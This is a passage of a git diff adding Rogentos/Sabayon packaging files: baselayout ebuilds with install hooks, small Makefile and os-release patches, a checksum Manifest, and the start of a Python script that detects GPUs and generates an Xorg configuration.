+	# Setup /run directory, this is missing from original baselayout
+	dodir /run
+
+	emake \
+		OS=$(usex kernel_FreeBSD BSD Linux) \
+		DESTDIR="${D}" \
+		install || die
+	dodoc ChangeLog.svn
+
+	# need the makefile in pkg_preinst
+	insinto /usr/share/${PN}
+	doins Makefile || die
+
+	# handle multilib paths.  do it here because we want this behavior
+	# regardless of the C library that you're using.  we do explicitly
+	# list paths which the native ldconfig searches, but this isn't
+	# problematic as it doesn't change the resulting ld.so.cache or
+	# take longer to generate.  similarly, listing both the native
+	# path and the symlinked path doesn't change the resulting cache.
+	local libdir ldpaths
+	for libdir in $(get_all_libdirs) ; do
+		ldpaths+=":/${libdir}:/usr/${libdir}:/usr/local/${libdir}"
+	done
+	echo "LDPATH='${ldpaths#:}'" >> "${D}"/etc/env.d/00basic
+
+	# rc-scripts version for testing of features that *should* be present
+	echo "Gentoo Base System release ${PV}" > "${D}"/etc/gentoo-release
+
+	# Sabayon customization, install /etc/hosts separately (to .example)
+	mv "${D}"/etc/hosts "${D}"/etc/hosts.example || die "cannot move /etc/hosts"
+}
+
+pkg_postinst() {
+	local x
+
+	# We installed some files to /usr/share/baselayout instead of /etc to stop
+	# (1) overwriting the user's settings
+	# (2) screwing things up when attempting to merge files
+	# (3) accidentally packaging up personal files with quickpkg
+	# If they don't exist then we install them
+	for x in master.passwd passwd shadow group fstab ; do
+		[ -e "${ROOT}etc/${x}" ] && continue
+		[ -e "${ROOT}usr/share/baselayout/${x}" ] || continue
+		cp -p "${ROOT}usr/share/baselayout/${x}" "${ROOT}"etc
+	done
+
+	# Force shadow permissions to not be world-readable #260993
+	for x in shadow ; do
+		[ -e "${ROOT}etc/${x}" ] && chmod o-rwx "${ROOT}etc/${x}"
+	done
+
+	# Take care of the etc-update for the user
+	if [ -e "${ROOT}"/etc/._cfg0000_gentoo-release ] ; then
+		mv "${ROOT}"/etc/._cfg0000_gentoo-release "${ROOT}"/etc/gentoo-release
+	fi
+
+	# whine about users that lack passwords #193541
+	if [[ -e ${ROOT}/etc/shadow ]] ; then
+		local bad_users=$(sed -n '/^[^:]*::/s|^\([^:]*\)::.*|\1|p' "${ROOT}"/etc/shadow)
+		if [[ -n ${bad_users} ]] ; then
+			echo
+			ewarn "The following users lack passwords!"
+			ewarn ${bad_users}
+		fi
+	fi
+
+	# baselayout leaves behind a lot of .keep files, so let's clean them up
+	find "${ROOT}"/lib*/rcscripts/ -name .keep -exec rm -f {} + 2>/dev/null
+	find "${ROOT}"/lib*/rcscripts/ -depth -type d -exec rmdir {} + 2>/dev/null
+
+	# whine about users with invalid shells #215698
+	if [[ -e ${ROOT}/etc/passwd ]] ; then
+		local bad_shells=$(awk -F: 'system("test -e " $7) { print $1 " - " $7}' /etc/passwd | sort)
+		if [[ -n ${bad_shells} ]] ; then
+			echo
+			ewarn "The following users have non-existent shells!"
+			ewarn "${bad_shells}"
+		fi
+	fi
+
+	# Sabayon customization, copy /etc/hosts back in place if it doesn't exist
+	local etc_hosts="${ROOT}/etc/hosts"
+	if [ -e "${etc_hosts}.baselayout_ebuild_backup" ]; then
+		cp -p "${etc_hosts}.baselayout_ebuild_backup" "${etc_hosts}" # don't die
+	elif [ ! -e "${etc_hosts}" ]; then
+		cp -p "${etc_hosts}.example" "${etc_hosts}" # don't die
+	fi
+	chown root:root "${etc_hosts}" # don't die
+}
diff --git a/sys-apps/baselayout/baselayout-2.2.ebuild b/sys-apps/baselayout/baselayout-2.2.ebuild
new file mode 100644
index 00000000..1f70a72c
--- /dev/null
+++ b/sys-apps/baselayout/baselayout-2.2.ebuild
@@ -0,0 +1,265 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/sys-apps/baselayout/baselayout-2.2.ebuild,v 1.2 2012/08/23 21:47:35 vapier Exp $
+
+inherit eutils multilib
+
+DESCRIPTION="Filesystem baselayout and init scripts"
+HOMEPAGE="http://www.gentoo.org/"
+SRC_URI="mirror://gentoo/${P}.tar.bz2
+	http://dev.gentoo.org/~vapier/dist/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~amd64-fbsd ~sparc-fbsd ~x86-fbsd"
+IUSE="build kernel_linux"
+
+PDEPEND="sys-apps/openrc"
+
+pkg_setup() {
+	multilib_layout
+}
+
+# Create our multilib dirs - the Makefile has no knowledge of this
+multilib_warn() {
+	local syms=$1 dirs=$2 def_libdir=$3
+
+	[ -z "${syms}${dirs}" ] && return
+
+	ewarn "Your system profile has SYMLINK_LIB=${SYMLINK_LIB}, so that means"
+	if [ -z "${syms}" ] ; then
+		ewarn "you need to have these paths as symlinks to ${def_libdir}:"
+		ewarn "$1"
+	fi
+}
+multilib_layout() {
+	local libdir libdirs=$(get_all_libdirs) def_libdir=$(get_abi_LIBDIR $DEFAULT_ABI)
+	: ${libdirs:=lib}	# it isn't that we don't trust multilib.eclass...
+
+	[ -z "${def_libdir}" ] && die "your DEFAULT_ABI=$DEFAULT_ABI appears to be invalid"
+
+	# figure out which paths should be symlinks and which should be directories
+	local dirs syms exp d
+	for libdir in ${libdirs} ; do
+		exp=( {,usr/,usr/local/}${libdir} )
+		for d in "${exp[@]/#/${ROOT}}" ; do
+			# most things should be dirs
+			if [ "${SYMLINK_LIB}" = "yes" ] && [ "${libdir}" = "lib" ] ; then
+				[ ! -h "${d}" ] && [ -e "${d}" ] && dirs+=" ${d}"
+			else
+				[ -h "${d}" ] && syms+=" ${d}"
+			fi
+		done
+	done
+	if [ -n "${syms}${dirs}" ] ; then
+		ewarn "Your system profile has SYMLINK_LIB=${SYMLINK_LIB:-no}, so that means you need to"
+		ewarn "have these paths configured as follows:"
+		[ -n "${dirs}" ] && ewarn "symlinks to '${def_libdir}':${dirs}"
+		[ -n "${syms}" ] && ewarn "directories:${syms}"
+		ewarn "The ebuild will attempt to fix these, but only for trivial conversions."
+		ewarn "If things fail, you will need to manually create/move the directories."
+		echo
+	fi
+
+	# setup symlinks and dirs where we expect them to be; do not migrate
+	# data ... just fall over in that case.
+	local prefix
+	for prefix in "${ROOT}"{,usr/,usr/local/} ; do
+		if [ "${SYMLINK_LIB}" = yes ] ; then
+			# we need to make sure "lib" points to the native libdir
+			if [ -h "${prefix}lib" ] ; then
+				# it's already a symlink!  assume it's pointing to right place ...
+				continue
+			elif [ -d "${prefix}lib" ] ; then
+				# "lib" is a dir, so need to convert to a symlink
+				ewarn "Converting ${prefix}lib from a dir to a symlink"
+				rm -f "${prefix}lib"/.keep
+				if rmdir "${prefix}lib" 2>/dev/null ; then
+					ln -s ${def_libdir} "${prefix}lib" || die
+				else
+					die "non-empty dir found where we needed a symlink: ${prefix}lib"
+				fi
+			else
+				# nothing exists, so just set it up sanely
+				ewarn "Initializing ${prefix}lib as a symlink"
+				mkdir -p "${prefix}" || die
+				rm -f "${prefix}lib" || die
+				ln -s ${def_libdir} "${prefix}lib" || die
+				mkdir -p "${prefix}${def_libdir}" #423571
+			fi
+		else
+			# we need to make sure "lib" is a dir
+			if [ -h "${prefix}lib" ] ; then
+				# "lib" is a symlink, so need to convert to a dir
+				ewarn "Converting ${prefix}lib from a symlink to a dir"
+				rm -f "${prefix}lib" || die
+				if [ -d "${prefix}lib32" ] ; then
+					ewarn "Migrating ${prefix}lib32 to ${prefix}lib"
+					mv "${prefix}lib32" "${prefix}lib" || die
+				else
+					mkdir -p "${prefix}lib" || die
+				fi
+			elif [ -d "${prefix}lib" ] ; then
+				# make sure the old "lib" ABI location does not exist; we
+				# only symlinked the lib dir on systems where we moved it
+				# to "lib32" ...
+				case ${CHOST} in
+				i?86*|x86_64*|powerpc*|sparc*|s390*)
+					if [ -d "${prefix}lib32" ] ; then
+						rm -f "${prefix}lib32"/.keep
+						if ! rmdir "${prefix}lib32" 2>/dev/null ; then
+							ewarn "You need to merge ${prefix}lib32 into ${prefix}lib"
+							die "non-empty dir found where there should be none: ${prefix}lib32"
+						fi
+					fi
+					;;
+				esac
+			else
+				# nothing exists, so just set it up sanely
+				ewarn "Initializing ${prefix}lib as a dir"
+				mkdir -p "${prefix}" || die
+				rm -f "${prefix}lib" || die
+				ln -s ${def_libdir} "${prefix}lib" || die
+			fi
+		fi
+	done
+}
+
+pkg_preinst() {
+	# Bug #217848 - Since the remap_dns_vars() called by pkg_preinst() of
+	# the baselayout-1.x ebuild copies all the real configs from the user's
+	# /etc/conf.d into ${D}, it makes them all appear to be the default
+	# versions. In order to protect them from being unmerged after this
+	# upgrade, modify their timestamps.
+	touch "${ROOT}"/etc/conf.d/* 2>/dev/null
+
+	# This is written in src_install (so it's in CONTENTS), but punt all
+	# pending updates to avoid user having to do etc-update (and make the
+	# pkg_postinst logic simpler).
+	rm -f "${ROOT}"/etc/._cfg????_gentoo-release
+
+	# We need to install directories and maybe some dev nodes when building
+	# stages, but they cannot be in CONTENTS.
+	# Also, we cannot reference $S as binpkg will break so we do this.
+	multilib_layout
+	if use build ; then
+		emake -C "${D}/usr/share/${PN}" DESTDIR="${ROOT}" layout || die
+	fi
+	rm -f "${D}"/usr/share/${PN}/Makefile
+
+	# Sabayon customization, protect /etc/hosts from removal (from older ebuilds)
+	local etc_hosts="${ROOT}/etc/hosts"
+	if [ -e "${etc_hosts}" ]; then
+		cp -p "${etc_hosts}" "${etc_hosts}.baselayout_ebuild_backup" # don't die
+	fi
+}
+
+src_unpack() {
+	unpack ${A}
+
+	cd "${S}"
+	# We are Sabayon!
+	epatch "${FILESDIR}/${PN}-rogentos-os-release.patch"
+}
+
+src_install() {
+	# Setup /run directory, this is missing from original baselayout
+	dodir /run
+
+	emake \
+		OS=$(usex kernel_FreeBSD BSD Linux) \
+		DESTDIR="${D}" \
+		install || die
+	dodoc ChangeLog.svn
+
+	# need the makefile in pkg_preinst
+	insinto /usr/share/${PN}
+	doins Makefile || die
+
+	# handle multilib paths.  do it here because we want this behavior
+	# regardless of the C library that you're using.  we do explicitly
+	# list paths which the native ldconfig searches, but this isn't
+	# problematic as it doesn't change the resulting ld.so.cache or
+	# take longer to generate.  similarly, listing both the native
+	# path and the symlinked path doesn't change the resulting cache.
+	local libdir ldpaths
+	for libdir in $(get_all_libdirs) ; do
+		ldpaths+=":/${libdir}:/usr/${libdir}:/usr/local/${libdir}"
+	done
+	echo "LDPATH='${ldpaths#:}'" >> "${D}"/etc/env.d/00basic
+
+	# rc-scripts version for testing of features that *should* be present
+	echo "Gentoo Base System release ${PV}" > "${D}"/etc/gentoo-release
+
+	# Sabayon customization, install /etc/hosts separately (to .example)
+	mv "${D}"/etc/hosts "${D}"/etc/hosts.example || die "cannot move /etc/hosts"
+
+}
+
+pkg_postinst() {
+	local x
+
+	# We installed some files to /usr/share/baselayout instead of /etc to stop
+	# (1) overwriting the user's settings
+	# (2) screwing things up when attempting to merge files
+	# (3) accidentally packaging up personal files with quickpkg
+	# If they don't exist then we install them
+	for x in master.passwd passwd shadow group fstab ; do
+		[ -e "${ROOT}etc/${x}" ] && continue
+		[ -e "${ROOT}usr/share/baselayout/${x}" ] || continue
+		cp -p "${ROOT}usr/share/baselayout/${x}" "${ROOT}"etc
+	done
+
+	# Force shadow permissions to not be world-readable #260993
+	for x in shadow ; do
+		[ -e "${ROOT}etc/${x}" ] && chmod o-rwx "${ROOT}etc/${x}"
+	done
+
+	# Take care of the etc-update for the user
+	if [ -e "${ROOT}"/etc/._cfg0000_gentoo-release ] ; then
+		mv "${ROOT}"/etc/._cfg0000_gentoo-release "${ROOT}"/etc/gentoo-release
+	fi
+
+	# whine about users that lack passwords #193541
+	if [[ -e ${ROOT}/etc/shadow ]] ; then
+		local bad_users=$(sed -n '/^[^:]*::/s|^\([^:]*\)::.*|\1|p' "${ROOT}"/etc/shadow)
+		if [[ -n ${bad_users} ]] ; then
+			echo
+			ewarn "The following users lack passwords!"
+			ewarn ${bad_users}
+		fi
+	fi
+
+	# baselayout leaves behind a lot of .keep files, so let's clean them up
+	find "${ROOT}"/lib*/rcscripts/ -name .keep -exec rm -f {} + 2>/dev/null
+	find "${ROOT}"/lib*/rcscripts/ -depth -type d -exec rmdir {} + 2>/dev/null
+
+	# whine about users with invalid shells #215698
+	if [[ -e ${ROOT}/etc/passwd ]] ; then
+		local bad_shells=$(awk -F: 'system("test -e " $7) { print $1 " - " $7}' /etc/passwd | sort)
+		if [[ -n ${bad_shells} ]] ; then
+			echo
+			ewarn "The following users have non-existent shells!"
+			ewarn "${bad_shells}"
+		fi
+	fi
+
+	# Sabayon customization, copy /etc/hosts back in place if it doesn't exist
+	local etc_hosts="${ROOT}/etc/hosts"
+	if [ -e "${etc_hosts}.baselayout_ebuild_backup" ]; then
+		cp -p "${etc_hosts}.baselayout_ebuild_backup" "${etc_hosts}" # don't die
+	elif [ ! -e "${etc_hosts}" ]; then
+		cp -p "${etc_hosts}.example" "${etc_hosts}" # don't die
+	fi
+	chown root:root "${etc_hosts}" # don't die
+
+	# http://bugs.gentoo.org/361349
+	if use kernel_linux; then
+		mkdir -p "${ROOT}"/run
+
+		if ! grep -qs "^tmpfs.*/run " "${ROOT}"/proc/mounts ; then
+			echo
+			ewarn "You should reboot the system now to get /run mounted with tmpfs!"
+		fi
+	fi
+}
diff --git a/sys-apps/baselayout/files/baselayout-1.12.14-iproute.patch b/sys-apps/baselayout/files/baselayout-1.12.14-iproute.patch
new file mode 100644
index 00000000..8d148862
--- /dev/null
+++ b/sys-apps/baselayout/files/baselayout-1.12.14-iproute.patch
@@ -0,0 +1,18 @@
+r3179 | vapier | 2010-10-03 17:20:25 -0400 (Sun, 03 Oct 2010) | 1 line
+
+fix infinite recursion with ip invocation #339013 by Krzysztof Olędzki
+
+Index: net-scripts/net/iproute2.sh
+===================================================================
+--- lib/rcscripts/net/iproute2.sh (revision 3178)
++++ lib/rcscripts/net/iproute2.sh (revision 3179)
+@@ -5,7 +5,8 @@
+ # Fix any potential localisation problems
+ # Note that LC_ALL trumps LC_anything_else according to locale(7)
+ ip() {
+-	LC_ALL=C ip "$@"
++	# use the full path so we don't recurse into ip()
++	LC_ALL=C $(type -P ip) "$@"
+ }
+ iproute2_tunnel() {
+ 	LC_ALL=C ip tunnel "$@"
diff --git a/sys-apps/baselayout/files/baselayout-2.0.1-proc_touch.patch b/sys-apps/baselayout/files/baselayout-2.0.1-proc_touch.patch
new file mode 100644
index 00000000..7b7df780
--- /dev/null
+++ b/sys-apps/baselayout/files/baselayout-2.0.1-proc_touch.patch
@@ -0,0 +1,16 @@
+https://bugs.gentoo.org/232823
+http://sources.gentoo.org/cgi-bin/viewvc.cgi/baselayout/trunk/Makefile?r1=3171&r2=3172
+
+--- Makefile
++++ Makefile
+@@ -49,8 +49,9 @@
+ layout:
+ 	# Create base filesytem layout
+ 	for x in $(KEEP_DIRS) ; do \
++		test -e $(DESTDIR)$$x/.keep && continue ; \
+ 		$(INSTALL_DIR) $(DESTDIR)$$x || exit $$? ; \
+-		touch $(DESTDIR)$$x/.keep || exit $$? ; \
++		touch $(DESTDIR)$$x/.keep || echo "ignoring touch failure; mounted fs?" ; \
+ 	done
+ 	# Special dirs
+ 	install -m 0700 -d $(DESTDIR)/root || exit $$?
diff --git a/sys-apps/baselayout/files/baselayout-2.0.3-slash-run-dir.patch b/sys-apps/baselayout/files/baselayout-2.0.3-slash-run-dir.patch
new file mode 100644
index 00000000..f6b77567
--- /dev/null
+++ b/sys-apps/baselayout/files/baselayout-2.0.3-slash-run-dir.patch
@@ -0,0 +1,12 @@
+Index: trunk/Makefile
+===================================================================
+--- trunk/Makefile	(revision 3193)
++++ trunk/Makefile	(working copy)
+@@ -27,6 +27,7 @@
+ 
+ KEEP_DIRS-Linux += \
+ 	/dev \
++	/run \
+ 	/sys \
+ 	/usr/src
+ KEEP_DIRS = $(KEEP_DIRS-$(OS)) \
diff --git a/sys-apps/baselayout/files/baselayout-rogentos-os-release.patch b/sys-apps/baselayout/files/baselayout-rogentos-os-release.patch
new file mode 100644
index 00000000..1456df72
--- /dev/null
+++ b/sys-apps/baselayout/files/baselayout-rogentos-os-release.patch
@@ -0,0 +1,16 @@
+--- baselayout-2.2.orig/etc.Linux/os-release
++++ baselayout-2.2/etc.Linux/os-release
+@@ -1,7 +1,7 @@
+-NAME=Gentoo
+-ID=gentoo
+-PRETTY_NAME="Gentoo/Linux"
++NAME=Rogentos
++ID=rogentos
++PRETTY_NAME="Rogentos/Linux"
+ ANSI_COLOR="1;32"
+-HOME_URL="http://www.gentoo.org/"
+-SUPPORT_URL="http://www.gentoo.org/main/en/support.xml"
+-BUG_REPORT_URL="https://bugs.gentoo.org/"
++HOME_URL="http://www.rogentos.ro/"
++SUPPORT_URL="http://forum.rogentos.ro/"
++BUG_REPORT_URL="https://bugs.rogentos.ro/"
diff --git a/sys-apps/baselayout/metadata.xml b/sys-apps/baselayout/metadata.xml
new file mode 100644
index 00000000..96a2d586
--- /dev/null
+++ b/sys-apps/baselayout/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>base-system</herd>
+</pkgmetadata>
diff --git a/sys-apps/gpu-detector/Manifest b/sys-apps/gpu-detector/Manifest
new file mode 100644
index 00000000..2d2431d3
--- /dev/null
+++ b/sys-apps/gpu-detector/Manifest
@@ -0,0 +1,5 @@
+AUX gpu-configuration 25811 SHA256 e093e198960da035c92947f80cdc79599da5d923a9720ab1541233492b97337a SHA512 e772f1256ed105f870f72a6bd1476a19fa30a6b65fa8d17de8499a45a57098e05c49a55ce28a2ee74ea903c47e1fd956205dc25efc7af3353d4bf72feaf73a9f WHIRLPOOL 6bf9599741a552e490a914b971fe33d6018131292630a47d33f9b1f2e1b373a1f38bb4fd69debe10af1245f62246f8bc4729e3c43de17099160c503a205020ee
+EBUILD gpu-detector-2.5.0-r3.ebuild 947 SHA256 61115b4d61a23231c7dd50543cec101115d3a32875170f499414696571ff4eaf SHA512 5b4d5e9fb8209e8a5c09e96e4d9166eabf5fb6820d1aafa24400116c2290aeda291cbb55e671d5d46a9cba5299f5ba16c5141fd2fe6340e477cf4f26422f7b01 WHIRLPOOL afb697fea7eb1dacbfaf7ffa974db85d26b4074ad39e3b2aef7f15340cea17aad060367664d1d2d2f6475e1d05fdc548fc04b9ed5d5af7167f3b5ab0f9147d35
+EBUILD gpu-detector-2.6-r2.ebuild 925 SHA256 7f0d2cb0da15ee13dac589f87617ed1d9070f91a86a556861d6d93fb45a51f2a SHA512 882ae46731e8ef762977351655fd5c1578655825c39682cf64edd05c9639ecf0209aeda5e361568dbc000c5b71b8d5e2a51d27a3f03348434d25524d8b91016c WHIRLPOOL dccd6ff2a32507b50c2a3b39456df570b15abbfb66458305545b3e381067f16c46b680dfd3ee693ccf6d31c9d4277f6de750cccce1722bdf896a9a51c78ade00
+EBUILD gpu-detector-2.6-r6.ebuild 895 SHA256 4ad481e7efa87de8246716159ef20f8a6a436fa8acf9abeb3e5905db0c5fd5b9 SHA512 0d0fd53e5a5d817f20f21a0249357fe45e6c6b60d8ff7fcb3f55377950bd1145eb6e8158f8ffe75bbe058019ebf112755ed05c65aaf5a4ff4fdd3e9b88a9ca38 WHIRLPOOL d178d2740ca0b51906505c9dce18b6901dd9e82be366c51ef0f6812afd0e820cbabe9aa2aa5ef5e55083c4e3430e2b29114dc1f69ea3c52ff26b66702c0be10e
+EBUILD gpu-detector-3.ebuild 482 SHA256 eaf15b3c8ad33381fc6bc730c44d3ff3d2b0c0bced5a7f7f84ce8411c1f6b6ab SHA512 86e26196f3d1f80707ea46764b481deb9eddad924c784d8c4a5ac81f97e3a65254ce1d17a32cabe4372f00030b106144e16c932f6fc76d74c7e8cf1704d122cd WHIRLPOOL 9f7de6f97156e13541ff6422aa455de5cad782a522b0d7761d609d145e14a031d9b5dc75a05e7f0db9c79440234838ffb38c2e6d6cb6ff4ffe6af16ff93b0490
diff --git a/sys-apps/gpu-detector/files/gpu-configuration b/sys-apps/gpu-detector/files/gpu-configuration
new file mode 100755
index 00000000..2f816efe
--- /dev/null
+++ b/sys-apps/gpu-detector/files/gpu-configuration
@@ -0,0 +1,776 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+
+import os
+import subprocess
+try:
+    from subprocess import getoutput
+except ImportError:
+    from commands import getoutput
+import shutil
+import sys
+
+# Variables
+xorgfile = "/etc/X11/xorg.conf"
+lspci = '/usr/sbin/lspci'
+nvidia_settings = "/usr/share/applications/nvidia-settings.desktop"
+
+device_id_prefix = "RogentosVga"
+nvidia_option_prefix = "--nvidia-opt--"
+screen_layout_sections = []
+device_sections = []
+xorg_conf_structure = """
+Section "Module"
+    SubSection  "extmod"
+       Option    "omit xfree86-dga"
+    EndSubSection
+    Load    "i2c"
+    Load    "ddc"
+    Load    "vbe"
+    Load    "dri"
+    Load    "glx"
+    Load    "synaptics"
+EndSection
+
+Section "ServerFlags"
+     Option    "AllowMouseOpenFail"    "true"
+EndSection
+
+Section "Monitor"
+    Identifier    "Generic Monitor"
+    VertRefresh    43 - 60
+    HorizSync      28 - 80
+EndSection
+
+__device_section__
+
+__screen_section__
+
+Section "DRI"
+    Mode 0666
+EndSection
+
+Section "ServerLayout"
+    Identifier   "Main Layout"
+    __screen_layout_section__
+EndSection
+
+Section "Extensions"
+   #Option "Composite" "Enable"
+EndSection
+"""
+
+screen_sections = []
+screen_section = """
+Section "Screen"
+
+    Identifier    "Screen __screen_id__"
+    Device        "%s__screen_id__"
+    Monitor       "Generic Monitor"
+    %sOption       "AddARGBGLXVisuals" "true"
+    %sOption       "RegistryDwords" "EnableBrightnessControl=1"
+
+    DefaultDepth 24
+
+    SubSection "Display"
+        Depth		8
+        ViewPort	0 0
+        #Modes		"1024x768" "800x600" "640x480"
+    EndSubsection
+
+    SubSection "Display"
+        Depth           16
+        ViewPort        0 0
+        #Modes		"1024x768" "800x600" "640x480"
+    EndSubsection
+
+    SubSection "Display"
+        Depth           24
+        ViewPort        0 0
+        #Modes		"1024x768" "800x600" "640x480"
+    EndSubsection
+
+EndSection
+""" % (device_id_prefix, nvidia_option_prefix,
+       nvidia_option_prefix,)
+
+# cmdlines
+options = sys.argv[1:]
+dryrun = False
+noproprietary = False
+nvidia_forcefail = False
+nvidia_disablelegacy = False
+legacy = False
+livecd = False
+steps = []
+forced_xdriver = ''
+current_arch = os.uname()[4]
+nomodeset = False
+noefi = False
+
+fglrx_supported = sorted(getoutput(
+        "modinfo fglrx | grep alias | grep pci | "
+        "cut -d':' -f 3 | cut -d'*' -f 1 | "
+        "sed 's/.*1002d//' | sed 's/^0000//' | sed 's/sv$//'"
+        ).lower().split())
+
+nvidia_71xx_supported = ['0020', '0028', '0029', '002c', '002d', '00a0',
+    '0100', '0101', '0103', '0150', '0151', '0152', '0153']
+nvidia_96xx_supported = ['0110', '0111', '0112', '0113', '0170', '0171',
+    '0172', '0173', '0174', '0175', '0176', '0177', '0178', '0179', '017a',
+    '017c', '017d', '0181', '0182', '0183', '0185', '0188', '018a', '018b',
+    '018c', '01a0', '01f0', '0200', '0201', '0202', '0203', '0250', '0251',
+    '0253', '0258', '0259', '025b', '0280', '0281', '0282', '0286', '0288',
+    '0289', '028c']
+nvidia_173xx_supported = ['00fa', '00fb', '00fc', '00fd', '00fe', '0301',
+    '0302', '0308', '0309', '0311', '0312', '0314', '031a', '031b', '031c',
+    '0320', '0321', '0322', '0323', '0324', '0325', '0326', '0327', '0328',
+    '032a', '032b', '032c', '032d', '0330', '0331', '0332', '0333', '0334',
+    '0338', '033f', '0341', '0342', '0343', '0344', '0347', '0348', '034c',
+    '034e']
+# Taken from here:
+# http://www.nvidia.com/object/IO_32667.html
+nvidia_304xx_supported = ['0040', '0041', '0042', '0043', '0044', '0045',
+    '0046', '0047', '0048', '004e', '0090', '0091', '0092', '0093', '0095',
+    '0098', '0099', '009d', '00c0', '00c1', '00c2', '00c3', '00c8', '00c9',
+    '00cc', '00cd', '00ce', '00f1', '00f2', '00f3', '00f4', '00f5', '00f6',
+    '00f8', '00f9', '0140', '0141', '0142', '0143', '0144', '0145', '0146',
+    '0147', '0148', '0149', '014a', '014c', '014d', '014e', '014f', '0160',
+    '0161', '0162', '0163', '0164', '0165', '0166', '0167', '0168', '0169',
+    '016a', '01d0', '01d1', '01d2', '01d3', '01d6', '01d7', '01d8', '01da',
+    '01db', '01dc', '01dd', '01de', '01df', '0211', '0212', '0215', '0218',
+    '0221', '0222', '0240', '0241', '0242', '0244', '0245', '0247', '0290',
+    '0291', '0292', '0293', '0294', '0295', '0297', '0298', '0299', '029a',
+    '029b', '029c', '029d', '029e', '029f', '02e0', '02e1', '02e2', '02e3',
+    '02e4', '038b', '0390', '0391', '0392', '0393', '0394', '0395', '0397',
+    '0398', '0399', '039c', '039e', '03d0', '03d1', '03d2', '03d5', '03d6',
+    '0531', '0533', '053a', '053b', '053e', '07e0', '07e1', '07e2', '07e3',
+    '07e5']
+savage_supported = ['8a20', '8a21', '8a22', '9102', '8c10', '8c11', '8c12',
+    '8c13', '8c22', '8c24', '8c26', '8c2a', '8c2b', '8c2c', '8c2d', '8c2e',
+    '8c2f', '8a25', '8a26', '8d01', '8d02', '8d03', '8d04']
+unichrome_supported = ['3108', '3118', '3157', '3343', '3344', '7205']
+
+lspci_output = ''
+for option in options:
+    if option == "--dry-run":
+        dryrun = True
+    elif option.startswith('--with-lspci=') and len(option.split("=")) >= 2:
+        option = option.split("=")[1:]
+        option = "=".join(option)
+        if option.startswith('"'):
+            option = option[1:]
+        if option.startswith("'"):
+            option = option[1:]
+        if option.endswith("'"):
+            option = option[:len(option)-1]
+        if option.endswith('"'):
+            option = option[:len(option)-1]
+        lspci_output = option
+    elif option.startswith('--forced-xdriver=') and len(option.split("=")) == 2:
+        forced_xdriver = option.split("=")[1]
+
+if not lspci_output:
+    lspci_output = getoutput(lspci+' -mm -n')
+
+# parse cmdline
+with open("/proc/cmdline","r") as f:
+    cmdline = f.readline().split()
+for cmd in cmdline:
+    if cmd == "noproprietary":
+        noproprietary = True
+    elif cmd == "nomodeset":
+        nomodeset = True
+    elif cmd == "nvidia=forcefail":
+        nvidia_forcefail = True
+    elif cmd == "nvidia=disablelegacy":
+        nvidia_disablelegacy = True
+    elif cmd == "legacy":
+        legacy = True
+    elif cmd == "cdroot":
+        livecd = True
+    elif cmd == "noefi":
+        noefi = True
+    elif cmd.startswith("xdriver=") and (len(cmd.split("=")) == 2):
+        if not forced_xdriver:
+            forced_xdriver = cmd.split("=")[1] # --forced-xdriver= owns
+
+def openrc_running():
+    return os.path.isfile("/run/openrc/softlevel")
+
+def systemd_running():
+    return os.path.isdir("/run/systemd/system")
+
+def remove_proprietary_opengl(bumblebee):
+    if not dryrun:
+        if not bumblebee:
+            os.system("""
+            mount -t tmpfs none /usr/lib/opengl/ati &> /dev/null
+            mount -t tmpfs none /usr/lib/opengl/nvidia &> /dev/null
+            sed -i '/LIBGL_DRIVERS_PATH/ s/.*//' /etc/profile.env
+            """)
+            fix_possible_opengl_misconfiguration('xorg-x11')
+        else:
+            print("Bumblebee enabled, not deactivating proprietary drivers")
+    else:
+        print("I was about to remove proprietary OpenGL libraries")
+
+def get_kernel_version():
+    try:
+        return int(os.uname()[2].replace(".", "")[:3])
+    except (ValueError, TypeError) as err:
+        print("get_kernel_version: ouch: %s" % (err,))
+        return None
+
+def setup_radeon_kms():
+    # Starting from kernel 3.6, we have CONFIG_DRM_RADEON_KMS=y
+    kver = get_kernel_version()
+    if kver is None:
+        kver = 360 # assume new kernel
+    if not dryrun and kver < 360:
+        os.system("""
+        modprobe -r radeon &> /dev/null
+        modprobe radeon modeset=1 && touch /tmp/.radeon.kms
+        """)
+    else:
+        print("I was about to modprobe radeon modeset=1")
+
+def remove_tar_members_from_sys(tarpath):
+    import tarfile
+    tar = tarfile.open(tarpath)
+    for el in sorted(tar.getnames(), reverse = True):
+        el = "/%s" % (el,)
+        if os.path.isfile(el):
+            try:
+                os.remove(el)
+            except OSError:
+                pass
+        if os.path.isdir(el):
+            try:
+                os.rmdir(el)
+            except OSError:
+                pass
+    tar.close()
+
+def generate_fglrx_steps(videocard, cardnumber, total_cards, bus_id):
+    print("AMD!")
+    print("total supported AMD cards: %s" % (len(fglrx_supported),))
+    print("supported list:", fglrx_supported)
+    supported = card_id in fglrx_supported
+    if supported:
+        print("fglrx driver supports this card")
+    # check if nomodeset is enabled for >=3.6.0 kernel
+    kver = get_kernel_version()
+    if kver is None:
+        kver = 360 # assume new kernel
+    if not nomodeset and kver >= 360:
+        print("however, nomodeset is not set, though KMS is active,"
+              " defaulting to OSS driver")
+        supported = False
+
+    if supported:
+        if noproprietary:
+            steps.append((drop_kernel_mod, "fglrx",))
+            steps.append((setup_radeon_kms,))
+        else:
+            steps.append((fix_possible_opengl_misconfiguration,
+                          "ati"))
+            steps.append((copy_ati_settings_on_desktop,))
+            steps.append((opengl_activate, "ati"))
+            steps.append((set_xorg_device, "fglrx",
+                          cardnumber, total_cards, bus_id,))
+    else:
+        # video card not supported by fglrx
+        print("using OSS 'ati' drivers")
+        generate_generic_steps()
+        # This works for Mach64, Rage128
+        # Radeon and in future RadeonHD driver
+        steps.append((drop_kernel_mod, "fglrx",))
+        steps.append((setup_radeon_kms,))
+
+def check_if_driver_is_available(xdriver):
+    drv_path = "/usr/lib/xorg/modules/drivers/" + xdriver + "_drv.so"
+    if os.path.isfile(drv_path):
+        print("check_if_driver_is_available for " + xdriver + ": available")
+        return True
+    print("check_if_driver_is_available for " + xdriver + ": not available")
+    return False
+
